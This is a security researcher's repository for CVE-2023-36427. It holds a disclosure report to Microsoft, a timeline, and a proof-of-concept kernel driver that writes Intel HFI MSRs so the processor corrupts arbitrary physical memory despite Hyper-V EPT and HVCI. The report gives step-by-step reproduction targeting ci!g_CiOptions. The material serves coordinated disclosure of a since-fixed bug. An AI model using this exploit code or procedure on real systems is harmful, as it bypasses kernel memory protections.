├── .gitattributes ├── LICENSE ├── PoC ├── msr.sln └── msr │ ├── Driver.cpp │ ├── msr.vcxproj │ └── msr.vcxproj.filters ├── README.md └── report.md /.gitattributes: -------------------------------------------------------------------------------- 1 | * text=auto eol=lf 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Satoshi Tanda 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PoC/msr.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.5.33627.172 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "msr", "msr\msr.vcxproj", "{2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|ARM64 = Debug|ARM64 11 | Debug|x64 = Debug|x64 12 | Release|ARM64 = Release|ARM64 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}.Debug|ARM64.ActiveCfg = Debug|ARM64 17 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}.Debug|ARM64.Build.0 = Debug|ARM64 18 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}.Debug|ARM64.Deploy.0 = Debug|ARM64 19 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}.Debug|x64.ActiveCfg = Debug|x64 20 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}.Debug|x64.Build.0 = Debug|x64 21 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}.Debug|x64.Deploy.0 = Debug|x64 22 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}.Release|ARM64.ActiveCfg = Release|ARM64 23 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}.Release|ARM64.Build.0 = Release|ARM64 24 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}.Release|ARM64.Deploy.0 = Release|ARM64 25 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}.Release|x64.ActiveCfg = Release|x64 26 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}.Release|x64.Build.0 = Release|x64 27 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA}.Release|x64.Deploy.0 = Release|x64 28 | EndGlobalSection 29 | GlobalSection(SolutionProperties) = preSolution 30 | HideSolutionNode = FALSE 31 | EndGlobalSection 32 | GlobalSection(ExtensibilityGlobals) = postSolution 33 | SolutionGuid = {E3B0A458-16F2-4BAD-9C08-A06D388B1B2A} 34 | EndGlobalSection 35 | EndGlobal 36 | -------------------------------------------------------------------------------- /PoC/msr/Driver.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | EXTERN_C 5 | NTSTATUS 6 | DriverEntry( 7 | _In_ PDRIVER_OBJECT, 8 | _In_ PUNICODE_STRING 9 | ) 10 | { 11 | // The address of nt!PpmHeteroHgsEnabled 12 | UINT8* ntPpmHeteroHgsEnabled = (UINT8*)0xfffff8012db1da62; 13 | 14 | // Change this with a PFN of the phyiscal address we want to populate the HFI structure 15 | constexpr unsigned long long pfn = 0x11cecb; 16 | 17 | // If CPUID.06H:EAX.[19] == 0, bail 18 | int regs[4]; 19 | __cpuid(regs, 6); 20 | if ((regs[0] & (1 << 19)) == 0) { 21 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "HFI not supported.\n"); 22 | return STATUS_UNSUCCESSFUL; 23 | } 24 | 25 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Starting the driver: Current MSR values:\n"); 26 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "0x1b1 : 0x%llx\n", __readmsr(0x1b1)); 27 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "0x17d0: 0x%llx\n", __readmsr(0x17d0)); 28 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "0x17d1: 0x%llx\n", __readmsr(0x17d1)); 29 | 30 | if (*ntPpmHeteroHgsEnabled) 31 | { 32 | *ntPpmHeteroHgsEnabled = 0; 33 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Patched nt!PpmHeteroHgsEnabled. Hibernate the system, wake it up, and rerun this.\n"); 34 | } 35 | else 36 | { 37 | DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Populating the HFI structure at 0x%llx\n", pfn << 12); 38 | 39 | // Mark that OS has done with reading the structure. Clear bit[26] 40 | __writemsr(0x1b1, __readmsr(0x1b1) & ~(1ull << 26)); 41 | 42 | // IA32_HW_FEEDBACK_PTR <= addr | Valid 43 | __writemsr(0x17d0, (pfn << 12) | 1); 44 | 45 | // IA32_HW_FEEDBACK_CONFIG <= Enable both HFI 46 | __writemsr(0x17d1, 1); 47 | } 48 | return STATUS_CANCELLED; 49 | } 50 | -------------------------------------------------------------------------------- /PoC/msr/msr.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | Debug 14 | ARM64 15 | 16 | 17 | Release 18 | ARM64 19 | 20 | 21 | 22 | 23 | 24 | 25 | {2F0F63C7-2DD6-4571-AF87-1743C95B0ABA} 26 | {497e31cb-056b-4f31-abb8-447fd55ee5a5} 27 | v4.5 28 | 12.0 29 | Debug 30 | x64 31 | msr 32 | 33 | 34 | 35 | Windows10 36 | true 37 | WindowsKernelModeDriver10.0 38 | Driver 39 | KMDF 40 | Universal 41 | false 42 | 43 | 44 | Windows10 45 | false 46 | WindowsKernelModeDriver10.0 47 | Driver 48 | KMDF 49 | Universal 50 | 51 | 52 | Windows10 53 | true 54 | WindowsKernelModeDriver10.0 55 | Driver 56 | KMDF 57 | Universal 58 | 59 | 60 | Windows10 61 | false 62 | WindowsKernelModeDriver10.0 63 | Driver 64 | KMDF 65 | Universal 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | DbgengKernelDebugger 77 | 78 | 79 | DbgengKernelDebugger 80 | 81 | 82 | DbgengKernelDebugger 83 | 84 | 85 | DbgengKernelDebugger 86 | 87 | 88 | 89 | true 90 | trace.h 91 | true 92 | 93 | 94 | sha256 95 | 96 | 97 | 98 | 99 | true 100 | trace.h 101 | true 102 | 103 | 104 | sha256 105 | 106 | 107 | 108 | 109 | true 110 | trace.h 111 | true 112 | 113 | 114 | sha256 115 | 116 | 117 | 118 | 119 | true 120 | trace.h 121 | true 122 | 123 | 124 | sha256 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | -------------------------------------------------------------------------------- /PoC/msr/msr.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | 10 | 11 | Source Files 12 | 13 | 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-36427 2 | 3 | This repo contains the report and exploit of [CVE-2023-36427](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36427), memory corruption at arbitrary physical addresses from the root partition on Windows. The details and exploit of the vulnerability are in the [report](report.md) sent to Microsoft. 4 | 5 | [![Demo](https://img.youtube.com/vi/NAhhJkA73mY/0.jpg)](https://www.youtube.com/watch?v=NAhhJkA73mY) 6 | 7 | ## Timeline 8 | 9 | - July 2 - Sent a report to a friend of mine at Microsoft. 10 | - July 11 - Received a reply from a member of the team responsible for the issue. 11 | - August 8 - Received a proposal to make the disclosure date November 14. 12 | - August 9 - Agreed with the proposal. 13 | - November 14 - The fix was released. 14 | - November 15 - Disclosed the issue. Notified that the issue was eligible for a 2000 USD bounty award. 15 | 16 | Thanks MSRC for transparent communication, the engineering team for fixing this on time, and Andrea ([@aall86](https://twitter.com/aall86)) for helping me share the issue and connecting with the right folks within Microsoft. 17 | -------------------------------------------------------------------------------- /report.md: -------------------------------------------------------------------------------- 1 | - [Summary](#summary) 2 | - [Platform and requirements](#platform-and-requirements) 3 | - [Description](#description) 4 | - [Background and core issue](#background-and-core-issue) 5 | - [Need of S4 transition](#need-of-s4-transition) 6 | - [PoC](#poc) 7 | - [Demo configuration](#demo-configuration) 8 | - [Steps to repro](#steps-to-repro) 9 | - [Expected result](#expected-result) 10 | - [Actual result](#actual-result) 11 | - [Possible fix](#possible-fix) 12 | - [Comments](#comments) 13 | - [References](#references) 14 | 15 | # Summary 16 | 17 | Kernel-mode code in the root partition can corrupt arbitrary physical pages irrespective of EPT permissions using the Hardware Feedback Interface processor feature. 18 | 19 | 20 | # Platform and requirements 21 | 22 | - Tested on Windows build 10.0.22621.1928 23 | - A physical machine with Intel 12th+ gen processors (more specifically, support of HFI) 24 | - Ability to perform: 25 | - arbitrary MSR write and kernel-memory write (eg, need a vulnerable driver) 26 | - system shutdown or hibernation 27 | 28 | 29 | # Description 30 | 31 | 32 | ## Background and core issue 33 | 34 | When the HVCI is enabled, the root partition is restricted in what physical memory it can write even with the kernel-mode privileges. This restriction can be partially violated by abusing two of MSRs that are freely writable from the kernel-mode code in the root partition: `IA32_HW_FEEDBACK_PTR` and `IA32_HW_FEEDBACK_CONFIG`. 35 | 36 | Those MSRs are part of the Intel processor feature named Hardware Feedback Interface, which I will abbreviate as HFI. This is a mechanism for a processor to tell an operating system performance information. This performance information, called the HFI structure, is populated by a processor at a physical memory address specified by `IA32_HW_FEEDBACK_PTR`. The other MSR, `IA32_HW_FEEDBACK_CONFIG`, is responsible for enabling the feature. The greater details of HFI is described in "15.6 HARDWARE FEEDBACK INTERFACE AND INTEL® THREAD DIRECTOR" of the Intel SDM [1]. 37 | 38 | As stated by the SDM, the value in the `IA32_HW_FEEDBACK_PTR` is treated as a physical address. 39 | ``` 40 | 15.6.4 Hardware Feedback Interface Pointer 41 | ... 42 | ADDR. This is the physical address of the page frame of the first page of this structure. 43 | ``` 44 | This is the case regardless of whether the processor is in VMX non-root operation. When the processor populates the HFI structure, it does not consider EPT. Thus, if code in VMX non-root operation could write those MSRs, it is possible to bypass memory access restriction with EPT and populate the HFI structure on an arbitrary page. 45 | 46 | This is what appears to be happening with Hyper-V. Hyper-V does not intercept read or write to the above mentioned to MSRs from the root partition. Thus, the root partition code could install a vulnerable driver that is not block-listed and capable of arbitrary MSR write and can populate the HFI structure irrespective to EPT permissions. 47 | 48 | 49 | ## Need of S4 transition 50 | 51 | Actually triggering the described scenario _for me_ required transition to/from S4 power state. 52 | 53 | As far as I gather from the Intel SDM, populating the HFI structure can occur more than once. For example, enable HFI first time, have the processor populate the HFI structure, disable HFI, re-enable HFI, and have the processor populate the HFI structure again. However, I was not able to observe re-population of the HFI structure. It appears as if the processor populates the HFI structure only once. 54 | 55 | NTOS already enables HFI during processor startup, and thus, an attacker would not be able to reproduce the above mentioned scenarios even if she can write to the MSRs. 56 | 57 | To workaround this, an attacker could shutdown or hibernate the system first, and then write to the MSRs after wake up. Both shutdown and hibernation on Windows put the processor into the S4 power state, where the processor is reset and MSRs values are cleared. After returning from S4, both HFI MSRs are reset to zero, and an attacker could write them and triggers the HFI structure generation. 58 | 59 | This cannot normally happen as the MSRs are properly re-configured by NTOS on wake up. However, that logic is gated by a global variable named `nt!PpmHeteroHgsEnabled`. If this is set to 0, re-configuration does not occur. An attacker with arbitrary kernel-memory write can set this variable to 0, trigger shutdown or hibernation, and finally write the HFI MSRs. This process could be repeated as many time as the attacker wants. 60 | 61 | 62 | # PoC 63 | 64 | - A recording of reproduction is uploaded on Youtube: https://www.youtube.com/watch?v=NAhhJkA73mY 65 | - Source code of PoC is uploaded on Github: https://github.com/tandasat/CVE-2023-36427 66 | 67 | 68 | ## Demo configuration 69 | 70 | - Dell Latitude 7330 71 | - Windows build 10.0.22621.1928 72 | - HVCI is enabled 73 | - Test-signing is enabled and secure boot is disabled 74 | - This is because using my own driver instead of a vulnerable driver is much clearer to demonstrate the issue. 75 | - Secure launch ("Firmware protection" on the Windows Defender configuration GUI) is disabled 76 | - This is because my system never successfully wakes up from shutdown or hibernation when secure launch is enabled. 77 | - Livekd [2] is installed 78 | 79 | 80 | ## Steps to repro 81 | 82 | NB: the target system will crash within a few minutes after following this instruction. 83 | 84 | 1. Check the linear address of `nt!PpmHeteroHgsEnabled` with `livekd` 85 | 1. Start command prompt with the administrator privilege 86 | 2. Run those commands: 87 | ``` 88 | > livekd 89 | 0: kd> x nt!PpmHeteroHgsEnabled 90 | fffff806`1a31da62 nt!PpmHeteroHgsEnabled = 91 | ``` 92 | 3. Take note of the linear address, ie, `fffff8061a31da62` in this example 93 | 2. Decide the physical address to populate the HFI structure. This can be any address that is (1) normally not writable and (2) we can confirm that the HFI structure was written. We use `ci!g_CiOptions` 94 | 1. On the same livekd session run the following command: 95 | ``` 96 | 0: kd> !pte ci!g_CiOptions 97 | VA fffff80618ac4004 98 | PXE at FFFFFCFE7F3F9F80 PPE at FFFFFCFE7F3F00C0 PDE at FFFFFCFE7E018628 PTE at FFFFFCFC030C5620 99 | contains 000000048F60B063 contains 000000048F60C063 contains 000000048F61E063 contains 890000011CECB121 100 | pfn 48f60b ---DA--KWEV pfn 48f60c ---DA--KWEV pfn 48f61e ---DA--KWEV pfn 11cecb -G--A--KR-V 101 | ``` 102 | 2. Take note of the PFN, ie, `11cecb` in this example 103 | 3. Double check that the current memory contents make sense 104 | ``` 105 | 0: kd> dd ci!g_CiOptions 106 | fffff806`18ac4004 0101c00e 00000000 00008004 00000860 107 | fffff806`18ac4014 00000000 00000000 00000000 00000000 108 | fffff806`18ac4024 00000000 00000000 00000000 00000000 109 | fffff806`18ac4034 00000000 00000000 00000000 00000000 110 | fffff806`18ac4044 00000000 00000000 00000000 00000000 111 | fffff806`18ac4054 00000000 00000000 00000000 00000000 112 | fffff806`18ac4064 00000000 00000000 00000000 00000000 113 | fffff806`18ac4074 00000000 00000000 00000000 00000000 114 | ``` 115 | 3. Update and compile the PoC file. This step can be done on other machine 116 | 1. Extract the msr.zip, and open the msr.sln on Visual Studio 2022 117 | 2. Update `UINT8* ntPpmHeteroHgsEnabled = (UINT8*)0xfffff80738d1da62;` with what we noted at the step 1.3 118 | 3. Update `constexpr unsigned long long pfn = 0x119932;` with what we noted at the step 2.2 119 | 4. Build the solution for x64 / Debug 120 | 5. If needed, copy over the compiled msr.sys into the target system 121 | 4. Load the PoC 122 | 1. Optionally, start DbgView [3] with the administrator privileges and enable "Capture Kernel" 123 | 2. Run the following command on the command prompt with the administrators privileges 124 | ``` 125 | > sc create msr type= kernel binPath= 126 | [SC] CreateService SUCCESS 127 | ``` 128 | 3. Start the PoC 129 | ``` 130 | > sc start msr 131 | [SC] StartService FAILED 995: 132 | 133 | The I/O operation has been aborted because of either a thread exit or an application request 134 | ``` 135 | The error message is expected. If DbgView is running, it should show messages like this: 136 | ``` 137 | Starting the driver: Current MSR values: 138 | 0x1b1 : 0x88320a82 139 | 0x17d0: 0x48f7eb001 140 | 0x17d1: 0x3 141 | Patched nt!PpmHeteroHgsEnabled. Hibernate the system, wake it up, and rerun this 142 | DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\msr 143 | ``` 144 | 5. From the start menu, select "Shut down" (alternatively, "Hibernate") 145 | 6. Boot the system 146 | 7. Rerun the PoC 147 | 1. Start the command prompt with administrator privileges 148 | 2. Optionally, start DbgView with the administrator privileges and enable "Capture Kernel" 149 | 3. Rerun the PoC 150 | ``` 151 | >sc start msr 152 | [SC] StartService FAILED 995: 153 | 154 | The I/O operation has been aborted because of either a thread exit or an application request. 155 | ``` 156 | The error message is expected. If DbgView is running, it should show messages like this: 157 | ``` 158 | Starting the driver: Current MSR values: 159 | 0x1b1 : 0x88300a82 160 | 0x17d0: 0x0 161 | 0x17d1: 0x0 162 | Populating the HFI table at 0x11cecb000 163 | DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\msr 164 | ``` 165 | 8. Check that the memory contents has changed 166 | 1. Start `livekd` and run the following command: 167 | ``` 168 | 0: kd> dd ci!g_CiOptions 169 | fffff806`18ac4004 00000002 00000101 00000000 00005c3d 170 | fffff806`18ac4014 00000000 00005c3d 00000000 00006424 171 | fffff806`18ac4024 00000000 00006424 00000000 00000000 172 | fffff806`18ac4034 00000000 00000000 00000000 00000000 173 | fffff806`18ac4044 00000000 00000000 00000000 00000000 174 | fffff806`18ac4054 00000000 00000000 00000000 00000000 175 | fffff806`18ac4064 00000000 00000000 00000000 00000000 176 | fffff806`18ac4074 00000000 00000000 00000000 00000000 177 | ``` 178 | 179 | 180 | ## Expected result 181 | 182 | The root partition is unable to corrupt a page that is write-protected or inaccessible due to EPT settings. `WRMSR` at the step 7 should trigger #GP or be no-op. 183 | 184 | 185 | ## Actual result 186 | 187 | The root partition can corrupt a page regardless of whether it is write-protected or made inaccessible with EPT. 188 | 189 | 190 | # Possible fix 191 | 192 | I can think of a few: 193 | - `WRMSR` to `IA32_HW_FEEDBACK_PTR` is intercepted. The host checks "accessibility" to the address by the guest. Reject `WRMSR` if the address is not where the guest is supposed to be able to write data. 194 | - `WRMSR` to `IA32_HW_FEEDBACK_PTR` is intercepted. The host checks that the given address is what is already negotiated between the host and the guest. Reject `WRMSR` if not. 195 | - Perform `WRMSR` within the hypervisor and expose the HFI structure to the guest through a read-only page. `WRMSR` from the guest is rejected unconditionally. 196 | 197 | 198 | # Comments 199 | 200 | - Real-world exportability is very low. An attacker can only populate data at the beginning of a page, and its contents are mostly uncontrollable. Not to mention it requires 12th+ gen hardware to trigger the bug. Besides, the root partition can disable with `bcdedit` and rebooting the system. Nonetheless, this is a bug with some security implications, which should be fixed in my view. 201 | - Ideally, Intel should have provided an option to treat the specified address as a guest physical address, something similar to the "Intel PT uses guest physical addresses" VM-execution control. 202 | 203 | 204 | # References 205 | 206 | 1. https://www.intel.com/sdm 207 | 2. https://learn.microsoft.com/en-us/sysinternals/downloads/livekd 208 | 3. https://learn.microsoft.com/en-us/sysinternals/downloads/debugview 209 | --------------------------------------------------------------------------------